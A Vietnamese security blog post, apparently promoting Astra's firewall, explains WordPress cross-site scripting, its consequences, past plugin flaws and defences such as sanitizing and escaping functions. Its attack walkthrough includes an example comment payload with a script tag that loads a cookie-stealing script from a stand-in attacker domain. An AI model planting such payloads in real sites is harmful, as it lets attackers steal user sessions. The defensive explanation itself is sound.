Cross-site scripting, viết tắt XSS, là lỗ hổng bảo mật trong ứng dụng web. WordPress XSS exploit cho phép kẻ tấn công chèn nội dung độc hại dưới dạng thực thể đáng tin cậy. Hơn nữa, lỗ hổng XSS cũng xâm phạm tương tác user-trang web. Cho phép hacker mạo danh user hợp pháp và tải nội dung độc hại, đánh cắp credential và thông tin user, biến dạng trang web và làm xấu thương hiệu. WordPress XSS exploit gần đây lên báo khi công ty chuyên phân tích phần mềm công bố chi tiết lỗ hổng cross-site scripting trong WordPress v5.11 và dưới.
Triệu Chứng Tấn Công XSS WordPress
Lỗ hổng XSS là một trong những lỗ hổng thường thấy nhất, nhưng lại bị bỏ qua nhiều nhất. XSS là lỗ hổng mạng cho phép user (hoặc hacker mạo danh user) chèn mã độc vào trang cho phép input tùy ý. XSS exploit phân loại thành stored và reflected.
- Stored cross-site scripting nghĩa là hacker chèn script độc hại vào trang dễ bị tấn công, script chạy mỗi khi victim vô tình truy cập trang bị nhiễm.
- Reflected cross-site scripting là khi kẻ tấn công chèn mã độc vào một HTTP request đơn lẻ và payload được đưa vào response mà không có biện pháp bảo mật ngăn chặn thực thi. Khác biệt của Reflected XSS là payload không được lưu trữ đâu trên ứng dụng web.
Cách tấn công XSS diễn ra:
- Hacker (H) tạo tài khoản trên trang web của bạn.
- H nhận thấy trang web có lỗ hổng stored XSS. Nếu ai đăng bình luận chứa thẻ HTML, thẻ hiển thị nguyên vẹn và script tag chạy.
- Trong phần bình luận bài viết, H chèn text có script tag như:
I am in love with your website <script src="https://mallorysevilsite.com/authstealer.js"> - Khi user (U) tải trang có bình luận, script tag chạy và đánh cắp cookie xác thực của U.
- Cookie bị đánh cắp gửi đến server bí mật của H cho phép mạo danh user U.

Hậu Quả Tấn Công XSS WordPress
XSS exploit có thể khóa bạn khỏi trang web. Cũng có thể dùng để mạo danh bạn và làm xấu thương hiệu. Danh sách việc hacker làm bằng exploit XSS không hết. Đây là một vài:
Đánh Cắp Cookie
Đánh cắp cookie là exploit phổ biến của XSS. Cookie là file nhỏ chứa dữ liệu riêng cho user và trang web. Hacker dùng cookie đánh cắp để mạo danh user hợp pháp và dùng truy cập cho ý đồ độc hại.
Mật Khẩu Bị Xâm Phạm
Password manager giúp user quản lý tài khoản nhiều trang web. Password manager tự điền mật khẩu. Hacker dùng lỗ hổng tạo input mật khẩu. Khi password manager tự điền, hacker đọc mật khẩu và gửi đến domain của mình. Bây giờ hacker mạo danh user hợp pháp và truy cập thông tin trên trang web.
Quét Cổng (Port Scan)
XSS cũng có thể khai thác để quét cổng mạng cục bộ của bất kỳ ai truy cập trang web dễ bị tấn công. Nếu truy cập mạng, kẻ tấn công hack vào thiết bị khác trên mạng. Để thực hiện, hacker chèn code quét mạng nội bộ và báo cáo cho hacker.
Cross-Site Request Forgery (CSRF)
CSRF cung cấp khả năng buộc end user thực hiện tác vụ không mong muốn. Tùy loại trang web, hacker có thể yêu cầu kết nối, gửi tin nhắn, đổi credential, chuyển cryptocurrency hoặc commit backdoor vào kho source code.
Keylogger
JavaScript có thể dùng để ghi phím. JavaScript cung cấp khả năng log keystroke user thực hiện trên trang dễ bị tấn công. Một số trang web thương mại cung cấp code log chuyển động visitor: click, cử chỉ mobile, input. Những thứ này thảm họa trong tay kẻ xấu.
Ví Dụ Tấn Công XSS WordPress
XSS là lỗ hổng phổ biến nhất cung cấp backdoor cho kẻ xấu vào hàng ngàn trang web mỗi năm. Đây là vài ví dụ gần đây:
Exploit Plugin Slimstat (Tháng 5/2019)
Slimstat là plugin web analytics phổ biến gần đây bị phát hiện lỗ hổng stored XSS. Slimstat dùng theo dõi analytics real-time, giám sát và báo cáo stat log truy cập, khách quay lại, user đăng ký, sự kiện JavaScript, v.v. Hãy tưởng tượng lượng dữ liệu trang web hacker truy cập bằng exploit. Lỗ hổng ở phiên bản 4.8 và dưới. Cho phép visitor chưa xác thực chèn JavaScript tùy ý vào chức năng access log của plugin. Trang web dùng WordPress mới nhất và dưới bảo vệ Astra WAF an toàn khỏi hacker.
Đọc thêm: Plugin Slimstat phổ biến, dễ bị XSS
Facebook Messenger Live Chat
Lỗ hổng XSS persistent trong FB messenger live chat by Zotabox được phát hiện. Qua WordPress, AJAX functionality giúp gửi/nhận dữ liệu từ script dễ dàng mà không cần reload trang. Hàm update_zb_fbc_code truy cập được bởi bất kỳ ai. Hàm wp_ajax_update_zb_fbc_code chỉ cho user được ủy quyền & wp_ajax_nopriv_update_zb_fbc_code cho user không đặc quyền. Cả hai dùng cùng hàm "update_zb_fbc_code". Điều này cho phép bất kỳ user (đăng nhập hoặc không) sửa cài đặt plugin. Kẻ xấu dùng lỗ hổng này lấy quyền truy cập ưu tiên vào thông tin mật.
Đọc thêm: Lỗ hổng XSS nghiêm trọng trong Facebook Messenger Live Chat
Phòng Ngừa Tấn Công XSS Trong WordPress
Chấp nhận rủi ro bảo mật sẽ trả giá đắt trong thời đại cyber hiện nay. Hệ thống sanitize và validate mạnh mẽ bảo vệ trang web khỏi exploit kiểu XSS, CSRF, v.v. Đọc thêm.
Cập Nhật File WordPress
Cách nhanh và dễ nhất giải quyết lỗ hổng liên quan WP v5.11 và dưới là cập nhật WordPress lên phiên bản mới nhất.
Validate Input
Kiểm tra và validate tất cả dữ liệu input trước khi gửi server. Chỉ chấp nhận input từ user đã validate, đáng tin. Ví dụ: Hàm validate email:
Filter_var PHP FunctionFilter_var($_GET['email'], FILTER_VALIDATE_EMAIL)is_email
Sanitize Dữ Liệu
Sanitize dữ liệu input bởi user khuyến nghị cao trên trang cho phép HTML markup. Bạn đảm bảo dữ liệu không hại user hoặc database bằng cách làm sạch markup có hại. WordPress có tính năng tuyệt vời lọc entry dữ liệu không tin cậy. Danh sách lệnh WP dùng để sanitize:
sanitize_emailsanitize_file_namesanitize_text_fieldesc_url_rawsanitize_optionsanitize_keysanitize_mime_typewp_ksesSanitize_meta
Escape Dữ Liệu
Escape dữ liệu nghĩa là đảm bảo an toàn bằng cách kiểm duyệt dữ liệu nhập. Đảm bảo ký tự quan trọng không bị hiểu sai cách độc hại. Năm hàm escape cơ bản WordPress cung cấp:
esc_htmlesc_urlesc_jsesc_attresc_textarea
Encode Dữ Liệu Khi Output
Encode tất cả HTTP response xuất dữ liệu user nhập. Ngăn chặn được hiểu là nội dung chủ động. Encode chỉ chuyển mỗi ký tự thành tên entity HTML. Dùng header Content-Type và X-Content-Type-Options đảm bảo trình duyệt hiểu response đúng cách.
Sử Dụng Tường Lửa Ứng Dụng Web (WAF)
Có bảo vệ trên trang web luôn giúp. WAF cung cấp bảo mật chống lỗ hổng tiềm ẩn. Astra WAF lọc traffic độc hại và bảo vệ thông minh. Chặn XSS, SQLi, CSRF, bad bots, OWASP top 10 & 100+ tấn công mạng khác. Tường lửa thông minh phát hiện pattern visitor và tự động chặn hacker có ý định xấu.

Quét Mã Độc Định Kỳ
Quét mã độc định kỳ cảnh báo sớm. Astra WordPress Security Suite cung cấp bảo vệ hoàn chỉnh với Malware Scanner theo yêu cầu gắn cờ file độc hại chỉ một click. Trình quét thông minh tiến hóa với mỗi lần quét. Bấm đây để nhận demo Astra ngay.